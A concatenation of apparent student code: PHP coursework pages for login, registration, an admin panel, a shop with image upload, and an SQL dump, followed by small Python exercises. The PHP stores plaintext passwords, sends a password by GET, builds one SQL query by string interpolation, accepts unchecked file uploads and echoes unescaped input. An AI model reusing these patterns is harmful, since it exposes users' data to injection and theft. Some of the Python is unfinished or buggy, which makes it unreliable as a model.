if($password == $_POST['pwd']){
$stmt2 = $connection->prepare("DELETE FROM login WHERE username = ?");
$stmt2->bind_param("s", $_POST['username']);
$stmt2->execute();
echo "Successfully";
} else{
echo "Failed";
}
}
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Deleting account</legend>
<label>Username:</label><br>
<input type="text" name="username" value=""><br>
<label>Enter your password</label><br>
<input type="password" name="pwd" value=""><br>
<input type="submit" name="submit">
</form>
</div>
</div>
</div>
<?php
require("components/footer.php");
?><file_sep><?php
$connection = mysqli_connect("localhost", "root", "", "startups");
if($connection->connect_error){
//--exit
exit();
}
?>
<!DOCTYPE html>
<html>
<head></head>
<body>
<table border=1px>
<thead>
<th>legalName</th>
<th>anotherName</th>
<th>hasProduct</th>
<th>description</th>
<th>sphere</th>
<th>revenue6</th>
<th>revenue3</th>
<th>revenue1</th>
<th>customer6</th>
<th>customer3</th>
<th>customer1</th>
<th>founders</th>
<th>decision</th>
<th>base</th>
</thead>
<tbody>
<tr>
<?php
$counter;
$sql = "SELECT * FROM applicants";
$result = mysqli_query($connection, $sql);
while($row = mysqli_fetch_array($result)){
for($counter = 0; $counter < 14; $counter++){
echo "<th>".$row[$counter]."</th>";
}
echo "</tr>";
}
?>
</tbody>
</table>
</body>
</html>
<file_sep><?php
require("components/header.php");
?>
<body>
<div id="vue" >
<table border=1>
<thead>
<th>First Name</th>
<th>Last Name</th>
<th>Tariff</th>
</thead>
<tbody>
<tr v-for="user in users">
<td v-for="data in user">{{ data }}</td>
</tr>
</tbody>
</table>
</div>
<script type="text/javascript">
new Vue({
el:'#vue',
data: {
users: [],
},
created: function(){
this.getUsers();
},
methods: {
getUsers(){
axios.get('http://localhost/php/assignment7/data.json').then(response => {
this.users = response.data;
})
}
}
});
</script>
<?php
require("components/footer.php");
?>
<file_sep>-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Хост: 127.0.0.1
-- Время создания: Май 19 2020 г., 11:43
-- Версия сервера: 10.4.11-MariaDB
-- Версия PHP: 7.3.16
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- База данных: `test`
--
-- --------------------------------------------------------
--
-- Структура таблицы `univ`
--
CREATE TABLE `univ` (
`name` varchar(32) NOT NULL,
`location` varchar(32) NOT NULL,
`field` varchar(32) NOT NULL,
`rank` decimal(10,0) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Дамп данных таблицы `univ`
--
INSERT INTO `univ` (`name`, `location`, `field`, `rank`) VALUES
('AITU', 'Astana', 'IT', '4'),
('NU', 'Astana', 'Science', '5'),
('KBTU', 'Almaty', 'Technical', '3'),
('ENU', 'Astana', 'Science', '3'),
('AlmaU', 'Almaty', 'Business', '3'),
('QarGU', 'Qaragandy', 'Science', '2'),
('IITU', 'Almaty', 'IT', '3'),
('SDU', 'Almaty', 'Technical', '4'),
('Al-Farabi', 'Almaty', 'Technical', '4'),
('Agrarka', 'Astana', 'Science', '2'),
('QarGTU', 'Qaragandy', 'Technical', '1'),
('Satpayev University', 'Almaty', 'Science', '3'),
('KazGYU', 'Astana', 'Law', '4'),
('KIMEP', 'Almaty', 'Business', '4'),
('AAES', 'Almaty', 'Technical', '3'),
('ATU', 'Almaty', 'Technical', '1'),
('AGOY', 'Atyrau', 'Science', '2');
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
require("components/header.php");
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="get" action="check-login.php">
<legend>User registration form</legend>
<label>Username:</label><br>
<input type="text" name="username" value=""><br>
<label>Enter your password</label><br>
<input type="password" name="pwd" value=""><br><br>
<input type="submit" name="submit">
</form>
</div>
<div class="col-lg-6 ">
<p><a href = "change-password.php">You can change your password here</a></p>
<p><a href = "delete-user.php">You can delete your user account here</a></p>
</div>
</div>
</div>
<?php
require("components/footer.php");
?><file_sep><?php
require("components/header.php");
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>User registration form</legend>
<label>Username:</label><br>
<input type="text" name="username" value=""><br>
<label>First name:</label><br>
<input type="text" name="fname" value=""><br>
<label>Last name:</label><br>
<input type="text" name="lname" value=""><br>
<label>Email:</label><br>
<input type="text" name="email" value=""><br>
<label>Enter your password</label><br>
<input type="<PASSWORD>" name="password" value=""><br><br>
<input type="submit" name="submit">
</form>
</div>
</div>
</div>
<?php
$connection = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_POST['username']) && !empty($_POST['fname']) && !empty($_POST['lname']) && !empty($_POST['password']) && !empty($_POST['email'])){
class User{
private $username;
private $fname;
private $lname;
private $password;
private $email;
function __construct($username, $fname, $lname, $password, $email){
$this->username = trim($username);
$this->fname = trim($fname);
$this->lname = trim($lname);
$this->password = trim($password);
$this->email = trim($email);
}
function getUsername(){
return $this->username;
}
function getFirstName(){
return $this->fname;
}
function setFirstName($fname){
$this->fname = trim($fname);
}
function getLastName(){
return $this->lname;
}
function getEmail(){
return $this->email;
}
function getPassword(){
return $this->password;
}
function displayInfoAboutUser() : void {
echo "<p>Hello ".$this->getUsername()."</p>";
print ("<p>Your name is ".$this->getFirstName()."</p>");
printf ("<p>Your last name is %s </p>", $this->getLastName());
echo "<p>Your email is ".$this->getEmail()."</p>";
}
}
$user = new User($_POST['username'], $_POST['fname'], $_POST['lname'], $_POST['password'], $_POST['email']);
$stmt = $connection->prepare("INSERT INTO login(username, firstName, lastName, password, email) VALUES (?, ?, ?, ?, ?)");
$uname = $user->getUsername();
$fname = $user->getFirstName();
$lname = $user->getLastName();
$pass = $<PASSWORD>();
$email = $user->getEmail();
$stmt->bind_param("sssss", $uname, $fname, $lname, $pass, $email);
$stmt->execute();
$connection->close();
echo '<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<p>Hello
'.$user->getUsername().'
</p></div>
</div>
</div>';
} else{
echo "<p>All fields should be filled</p>";
}
$connection->close();
include("components/footer.php");
?><file_sep><?php
require("components/header.php");
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="POST" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Enter website</legend>
<label>Admin login</label><br>
<input type="text" name="admin" value=""><br>
<label>Enter your password</label><br>
<input type="password" name="password" value=""><br><br>
<input type="submit" name="submit">
</form>
</div>
<div class="col-lg-6 ">
<p><a href = "login.php">Login as user</a></p>
</div>
</div>
</div>
<?php
$connection = new mysqli("localhost", "root", "", "shop");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_POST['admin']) AND !empty($_POST['password'])){
$admin = $_POST['admin'];
$stmt = $connection->prepare("SELECT adminLogin, password FROM admin WHERE adminLogin = ? and password = ?");
$stmt->bind_param("ss", $_POST['admin'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
ob_start();
header('Location: '."admin.php");
ob_end_flush();
} else{
echo "Password is not correct";
}
} else{
echo "Fill all fields";
}
require("components/footer.php");
?><file_sep><?php
//--ABSTRACT CLASS--
abstract class Rank{
private $name;
private $location;
//--ABSTRACT METHODS--
//--PROTECTED
abstract protected function calculateRanking($academicReputation, $employerReputation, $FCRatio);
}<file_sep><?php
require("components/header.php");
require("components/main_body.php");
require("components/footer.php");
?><file_sep><?php
require("components/header.php");
?>
<body>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method = "post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Application form</legend>
<label>User id</label><br>
<input type="text" name = "id" value="" required/><br>
<label>Password</label><br>
<input type="password" name = "password" value="" required/><br>
<input type = "submit" name = "submit" value = "Login"/>
</form>
</div>
</div>
</div>
<?php
include("user.php");
$connection = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Error connection".$connection->connect_error);
}
if(isset($_POST['submit'])){
$stmt = $connection->prepare("SELECT fname, lname, tariff FROM users WHERE id = ? and password = ?");
$stmt->bind_param("is", $_POST['id'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
ob_start();
while($row = $result->fetch_assoc()){
$user = new User($row['fname'], $row['lname'], $row['tariff']);
$array = Array(Array("fname" => $user->getFName(), "lname" => $user->getLName(), "tariff" => $user->getTariff()));
}
$json = json_encode($array);
file_put_contents("data.json", $json);
header('Location: '."userPage.php");
ob_end_flush();
} else{
echo "Wrong id of password";
}
}
require("components/footer.php");
?><file_sep><?php
require("components/header.php");
$connection = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
$select = "SELECT firstName, lastName, email, productName, problemType FROM reports";
$result = $connection->query($select);
echo '<table><tr>
<th>FirtsName</th>
<th>LastName</th>
<th>Email</th>
<th>ProductName</th>
<th>ProblemType</th></tr>';
if($result->num_rows > 0){
while($row = $result->fetch_assoc()){
echo "<tr>
<th>".$row['firstName']."</th>
<th>".$row['lastName']."</th>
<th>".$row['email']."</th>
<th>".$row['productName']."</th>
<th>".$row['problemType']."</th></tr>";
}
echo "</table>";
} else{
echo "No reports";
}
$connection->close();
require("components/footer.php");
?>
<file_sep><?php
session_start();
if(isset($_SESSION["user"])){
$_SESSION["user"] = time();
if((time() - $_SESSION["user"]) > 900){
session_destroy();
session_unset();
}
}
include("components/header.php");
?>
<div class="container-fluid padding">
<div class="row welcome text-center">
<div class="col-12">
<h1 class="display-4">Our latest collections</h1>
</div>
<hr>
<div class="col-12">
<p class="lead">Summer collection</p>
</div>
</div>
</div>
<div class="container-fluid padding">
<div class="row text-center padding">
<?php
$conn = mysqli_connect("localhost", "root",'',"shop");
if($conn->connect_error){
die("Connection failed".$conn->connect_error);
}
$sql = "SELECT * FROM clothes";
$result = mysqli_query($conn, $sql);
while($row = mysqli_fetch_array($result)){
echo "<div>";
echo "<h3>".$row['name']."</h3>";
echo "<p>".$row['price']."</p>";
echo "<img src='uploads/".$row['img']."'>";
echo "</div>";
}
?>
</div>
<hr class="my-4">
</div>
</body></html><file_sep><?php
require("components/header.php");
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form action="support-process.php" method="post">
<legend>Form to fill</legend>
<label>First name:</label><br>
<input type="text" name="fname" value=""><br>
<label>Last name:</label><br>
<input type="text" name="lname" value=""><br>
<label>Email:</label><br>
<input type="text" name="email" value=""><br>
<label>What product have dissapointed you</label><br>
<input type="text" name="productName" value=""><br>
<label>What type of problem:</label><br>
<select name="problemType">
<option>App termination</option>
<option>No internet</option>
<option>Problems with update</option>
<option>Other</option>
</select><br><br>
<input type="submit" name="submit">
</form>
</div>
<div class="col-lg-6 ">
<p>This form is used to collect data about some problem that you have faced while using of our products. Also
here you can list some imporovements that can be done for our software. If you have any question feel free to contact us in our social network or just feel this form. We will answer for your request in 3 - 5 days.</p>
</div>
</div>
</div>
<?php
require("components/footer.php");
?><file_sep><?php
require("components/header.php");
$connection = new mysqli("localhost", "root", "", "test");
$connection2 = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_POST['username']) && !empty($_POST['oldPwd']) && !empty($_POST['newPwd']) && !empty($_POST['reNewPwd'])){
$stmt = $connection->prepare("SELECT password FROM login WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$stmt->bind_result($password);
$stmt->fetch();
$username = $_POST['username'];
if($_POST['newPwd'] == $_POST['reNewPwd']){
$newPwd = $_POST['newPwd'];
} else{
echo "passwords does not match";
}
if($password == $_POST['oldPwd']){
$newPwd = $_POST['newPwd'];
$stmt2 = $connection2->prepare("UPDATE login SET password = ?
WHERE username = ?");
$stmt2->bind_param("ss", $newPwd, $username);
$stmt2->execute();
echo "Done";
}
else{
echo "Password is incorrect";
}
}
?>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Change password</legend>
<label>Username:</label><br>
<input type="text" name="username" value=""><br>
<label>Enter your old password</label><br>
<input type="password" name="oldPwd" value=""><br>
<label>Enter your new password</label><br>
<input type="<PASSWORD>" name="newPwd" value=""><br>
<label>REtype your old password</label><br>
<input type="password" name="reNewPwd" value=""><br>
<input type="submit" name="submit">
</form>
</div>
</div>
</div>
<?php
require("components/footer.php");
?><file_sep><?php
final class User{
private $id;
private $fname;
private $lname;
private $password;
private $tariff;
//--CONSTRUCTOR--
public function __construct($fname, $lname, $tariff){
$this->fname = $fname;
$this->lname = $lname;
$this->tariff = $tariff;
}
//--GETTER--
public function setFame($fname){ $this->fname = $fname; }
public function setLName($lname){ $this->lname = $lname; }
public function setName($traffic){ $this->traffic = $traffic; }
//--SETTER--
public function getFName(){ return $this->fname; }
public function getLName(){ return $this->lname; }
public function getTariff(){ return $this->tariff; }
}
?>
<file_sep><?php
include("emailException.php");
include("ucaughtException.php");
//--db connection
$connection = new mysqli("localhost", "root", "", "startups");
//--die
if($connection->connect_error){
die("Connection error".$connection->connect_error);
}
if(isset($_POST['submit'])){
if($_POST['legalName'] == ""){
throw new Exception("Filled should be filled");
}
//exception
if($_POST['product'] == ""){
throw new Exception("Boxes should be checked");
}
//set_error_handler("lengthError");
if(strlen($_POST['description']) == 0){
throw new Exception("too short ");
}
//--try-catch
try{
if(filter_var($_POST['email'], FILTER_VALIDATE_EMAIL) === FALSE){
throw new emailException($_POST['email']);
}
} catch(emailException $ex){
echo $ex->errorMessage();
}
set_exception_handler('myException');
//--try catch finally
try{
if($_POST['founders'] < 0){
throw new Exception("Uncaght exception occured");
}
} catch(uncaughtException $ex){
echo "Exception";
} finally{
$founders = $_POST['founders'];
}
//--insert
$stmt = $connection->prepare("INSERT INTO applicants VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
$stmt->bind_param("sssssiiiiiiiss", $_POST['legalName'], $_POST['anotherName'], $_POST['product'], $_POST['description'], $_POST['business'], $_POST['revenue6'], $_POST['revenue3'], $_POST['revenue1'], $_POST['customer6m'], $_POST['customer3m'], $_POST['customer1m'], $founders, $_POST['decision'], $_POST['email']);
$stmt->execute();
}
?><file_sep><?php
if(isset($_POST['submit'])){
$target = "uploads/".basename($_FILES['image']['name']);
$conn = mysqli_connect("localhost", "root",'',"shop");
if($conn->connect_error){
die("Connection failed".$conn->connect_error);
}
$name = $_POST['name'];
$price = $_POST['price'];
$image = $_FILES['image']['name'];
$sql = "INSERT INTO clothes(name, price, img)
VALUES('$name', '$price', '$image')";
if(mysqli_query($conn, $sql)){
if(move_uploaded_file($_FILES['image']['tmp_name'], $target)){
echo "Successfully ";
ob_start();
header("Location: admin.php");
ob_flush();
} else{
echo "error happened";
}
} else{
echo "error";
}
}
?>
<file_sep><?php
require("components/header.php");
$connection = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_POST['fname']) && !empty($_POST['lname']) && !empty($_POST['email']) && !empty($_POST['productName'])){
$fname = $_POST['fname'];
$lname = $_POST['lname'];
$email = $_POST['email'];
$productName = $_POST['productName'];
$problemType = $_POST['problemType'];
$data = array($_POST['fname'], $_POST['lname'], $_POST['email'], $_POST['productName']);
$stmt = $connection->prepare("INSERT INTO reports () VALUES(?, ?, ?, ?, ?)");
$stmt->bind_param("sssss", $fname, $lname, $email, $productName, $problemType);
$stmt->execute();
echo "<p>Hello ".$fname."</p>";
echo "<p>You have submitted your report with the following data</p>";
$i = 0;
while($i < count($data)){
echo "<p>".$data[$i]."</p>";
$i++;
}
switch($problemType){
case "App termination":
echo "<p>Your problem is: App termination</p>";
break;
case "No internet":
echo "<p>Your problem is: No internet</p>";
break;
case "Problems with update":
echo "<p>Your problem is: Problems with update</p>";
break;
case "Other":
echo "<p>Your problem is: Other</p>";
break;
}
echo "Submitted successfully";
} else{
$error = "All the fields should be filled";
echo "<p>".$error."<p>";
}
$connection->close();
require("components/footer.php");
?><file_sep><?php
require("components/header.php");
$connection = new mysqli("localhost", "root", "", "test");
$connection2 = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_GET['username']) AND !empty($_GET['pwd'])){
$user = $_GET['username'];
$stmt = $connection->prepare("SELECT username FROM login WHERE username = ?");
$stmt->bind_param("s", $_GET['username']);
$stmt->execute();
$stmt->bind_result($username);
$stmt->fetch();
$stmt2 = $connection2->prepare("SELECT password FROM login WHERE username = ?");
$stmt2->bind_param("s", $_GET['username']);
$stmt2->execute();
$stmt2->bind_result($password);
$stmt2->fetch();
if($username == $user && $_GET['pwd'] == $password){
echo '<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<p>Hello
'.$user.'
</p></div>
</div>
</div>';
} else{
echo '<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<p>Login or password is incorrect
</p></div>
</div>
</div>';
}
}
$connection->close();
require("components/footer.php");
?> | d4e90cbd17002ccfc14fb3eb7b0d87bd9a301404 | [
"SQL",
"PHP"
] | 25 | SQL | Bolt-Master/webdev | fef3bd7554271a3daf94bb60c44add1aa72bbe01 | 2418ae6cc448466ed4fb6163380801ba4eb7af72 |
refs/heads/master | <file_sep>/* TP #3 - Juego - Juego de preguntas y respuestas con distintas temáticas
Biondi, <NAME>
29/04/2015
*/
#include <iostream>
using namespace std;
int main()
{
cout<<"\t\t\tBIENVENIDO AL JUEGO!\n\n\n";
int op;
int puntaje=0;
string respuesta;
string eleccion;
do{
cout<<"\nElija la opcion que desee:\n1)Preguntas sobre futbol\n2)Preguntas sobre musica\n3)Preguntas varias\n4)Puntaje\n5)Salir\n";
cin>>op;
if(op==1){
cout<<"\nCual es el apellido del actual tecnico de Boca Juniors?\n";
cin>>respuesta;
if(respuesta=="Arruabarrena" || respuesta=="arruabarrena"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nQue seleccion gano el ultimo mundial?\n";
cin>>respuesta;
if(respuesta=="Alemania" || respuesta=="alemania"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nCuantos torneos locales tiene River Plate?\n";
cin>>respuesta;
if(respuesta=="35" || respuesta=="Treinta y cinco" || respuesta=="treinta y cinco"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nSe acabaron las preguntas de esta tematica, siga con otra.\n";
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
if(op==2){
cout<<"\nCual es el primer nombre del ex lider de Soda Stereo?\n";
cin>>respuesta;
if(respuesta=="Gustavo" || respuesta=="gustavo"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nCuantas cuerdas tiene una guitarra?\n";
cin>>respuesta;
if(respuesta=="6" || respuesta=="seis" || respuesta=="Seis"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nComo se llama el instrumento con el que se toca el violin\n";
cin>>respuesta;
if(respuesta=="Arco" || respuesta=="arco"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nSe acabaron las preguntas de esta tematica, siga con otra.\n";
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
if(op==3){
cout<<"\nCuantos libros tiene la saga de Harry Potter?\n";
cin>>respuesta;
if(respuesta=="Siete" || respuesta=="siete" || respuesta=="7"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nCual es la capital de Australia?\n";
cin>>respuesta;
if(respuesta=="Canberra" || respuesta=="canberra"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nQuiere continuar con esta tematica\n";
do{
cin>>eleccion;
if(eleccion=="no" || eleccion=="No"){
cout<<"\nFin de la tematica.\n";
}
if(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si"){
cout<<"\nIngrese una respuesta valida\n";
}
if(eleccion=="Si" || eleccion=="si"){
cout<<"\nCuando fue la primer invasion inglesa\n";
cin>>respuesta;
if(respuesta=="1806"){
puntaje++;
cout<<"CORRECTO!";
}
else{
cout<<"INCORRECTO...";
}
cout<<"\n\nSe acabaron las preguntas de esta tematica, siga con otra.\n";
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
}while(eleccion!="no" && eleccion!="No" && eleccion!="si" && eleccion!="Si");
}
if(op==4){
cout<<"\nSu puntaje es: " << puntaje <<"!!!\n";
}
if(op==5){
cout<<"\n\nFin del Juego!";
}
if(op<1 || op>5){
cout<<"\nIngrese una opcion valida\n\n";
}
}while(op!=5);
}
| db89249a62cbfd7557f8c5132e5d476e55ac1f85 | [
"C++"
] | 1 | C++ | rolandobiondi/AED-TP3-Juego | 6e0d0b0854f7cf04eeb6607fddb268d3cd6afb42 | d8318ab2b4657556413b42eed78811bda1bd3300 |
refs/heads/master | <file_sep># ejemplos_python
#This project is just an example for starting working with git and github
<file_sep>num1=int(input("Podrias proporcionar el primer numero: "))
num2=int(input("Podrias proporcionar el Segundo numero: "))
num3=int(input("Podrias proporcionar el tercer numero: "))
def promedio(n1, n2, n3):
prom=(n1+n2+n3)/3
return prom
resultado=str(promedio(num1, num2, num3))
print("El promedio de los tres numeros es: " + resultado)<file_sep>contrasena=input("Por favor, introduce tu contrasena: ")
valida=True
for i in contrasena:
if i==" ":
valida=False
if len(contrasena)>8 and valida==True:
print("La contrasena es Correcta")
else:
print("La contrasena es Incorrecta")
<file_sep>class Parentesis():
def __init__(self):
self.curvos1=('(')
self.curvos2=(')')
self.cuadrados1=('[')
self.cuadrados2=(']')
self.llaves1=('{')
self.llaves2=('}')
def verificar(self, parentesisr):
self.parentesisl=[""]
for i in parentesisr:
self.parentesisl.append(i)
self.curv1=self.parentesisl.count(self.curvos1)
self.curv2=self.parentesisl.count(self.curvos2)
self.cuad1=self.parentesisl.count(self.cuadrados1)
self.cuad2=self.parentesisl.count(self.cuadrados2)
self.llave1=self.parentesisl.count(self.llaves1)
self.llave2=self.parentesisl.count(self.llaves2)
self.b=True
for i in range(len(parentesisr)):
if parentesisr[i] in self.curvos2 and i==0:
self.b=False
elif parentesisr[i] in self.curvos2 and i>0:
c=i-1
while c>=0:
if parentesisr[c] in self.curvos1:
self.b=True
break
else:
self.b=False
c=c-1
elif parentesisr[i] in self.cuadrados2 and i==0:
self.b=False
elif parentesisr[i] in self.cuadrados2 and i>0:
c=i-1
while c>=0:
if parentesisr[c] in self.cuadrados1:
self.b=True
break
else:
self.b=False
c=c-1
elif parentesisr[i] in self.llaves2 and i==0:
self.b=False
elif parentesisr[i] in self.llaves2 and i>0:
c=i-1
while c>=0:
if parentesisr[c] in self.llaves1:
self.b=True
break
else:
self.b=False
c=c-1
if self.curv1==self.curv2 and self.cuad1==self.cuad2 and self.llave1==self.llave2 and self.b==True:
print("La estructura de parentesis es valida")
else:
print("La estructura de parentesis es invalida")
estructura=input("Por favor introduce una estructura de parentesis: ")
MisParentesis=Parentesis()
MisParentesis.verificar(estructura)
#naditanada
<file_sep>class Subconjuntos():
def seccionar(self, conjunto):
self.lista=[]
self.contador=0
for i in conjunto:
self.lista.append(i)
self.contador=self.contador+1
b=0
self.newmember=""
self.newlista=[]
while b<self.contador:
c=b
while c<(self.contador):
self.newmember=self.newmember+self.lista[c]
self.newlista.append(self.newmember)
c=c+1
<file_sep>class NumerosRomanos():
def __init__(self):
self.numero1="I"
self.numero5="V"
self.numero10="X"
self.numero50="L"
self.numero100="C"
self.numero500="D"
self.numero1000="M"
def imprimirlista(self,listanueva):
for i in listanueva:
print(i, end="")
def menorque5(self,numeroarabigo):
self.elnumero=numeroarabigo
self.i=1
self.lista=[]
if 0<self.elnumero<=3:
while self.i<=self.elnumero:
self.lista.append(self.numero1)
self.i=self.i+1
elif self.elnumero==4:
self.lista=["IV"]
else:
#lista=""
pass
return self.lista
def menorque10(self, numeroarabigo):
self.i=6
self.lista=["V"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero1)
self.i=self.i+1
elif numeroarabigo==9:
self.lista=["IX"]
else:
self.lista=["V"]
return self.lista
def menorque50(self, numeroarabigo):
self.i=1
self.lista=[]
if 0<numeroarabigo<=3:
while self.i<=numeroarabigo:
self.lista.append(self.numero10)
self.i=self.i+1
elif numeroarabigo==4:
self.lista=["XL"]
else:
#lista=""
pass
return self.lista
def menorque100(self, numeroarabigo):
self.i=6
self.lista=["L"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero10)
self.i=self.i+1
elif numeroarabigo==9:
self.lista=["XC"]
else:
self.lista=["L"]
return self.lista
def menorque500(self, numeroarabigo):
self.i=1
self.lista=[]
if 0<numeroarabigo<=3:
while self.i<=numeroarabigo:
self.lista.append(self.numero100)
self.i=self.i+1
elif numeroarabigo==4:
self.lista=["CD"]
else:
#lista=""
pass
return self.lista
def menorque1000(self, numeroarabigo):
self.i=6
self.lista=["D"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero100)
self.i=i+1
elif numeroarabigo==9:
self.lista=["CM"]
else:
self.lista=["D"]
return self.lista
def menorque5000(self, numeroarabigo):
self.elnumero=numeroarabigo
self.i=1
self.lista=[]
if 0<self.elnumero<=3:
while self.i<=self.elnumero:
self.lista.append(self.numero1000)
self.i=self.i+1
elif self.elnumero==4:
self.lista=["MV"]
else:
#lista=""
pass
return self.lista
def romanizar(self,arabigo):
for i in range(len(arabigo)):
k=len(arabigo)-i
if int(arabigo[i])<5 and k==1:
self.imprimirlista(self.menorque5(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==1:
self.imprimirlista(self.menorque10(int(arabigo[i])))
elif int(arabigo[i])<5 and k==2:
self.imprimirlista(self.menorque50(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==2:
self.imprimirlista(self.menorque100(int(arabigo[i])))
elif int(arabigo[i])<5 and k==3:
self.imprimirlista(self.menorque500(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==3:
self.imprimirlista(self.menorque1000(int(arabigo[i])))
elif int(arabigo[i])<5 and k==4:
self.imprimirlista(self.menorque5000(int(arabigo[i])))
arabe=input("Podrias introducir el numero a convertir: ")
minumero=NumerosRomanos()
minumero.romanizar(arabe)
<file_sep>Nombre=input("Por favor, podrias proporcionar tu nombre: ")
Direccion=input("Por favor, podrias proporcionar tu Direccion: ")
Telefono=input("Por favor, podrias proporcionar tu Telefono: ")
ListaGeneral=[Nombre, Direccion, Telefono]
print("Los Datos Personsales Proporcionados son: ")
print("Nombre: " + ListaGeneral[0])
print("Direccion: " + ListaGeneral[1])
print("Telefono: " + ListaGeneral[2])
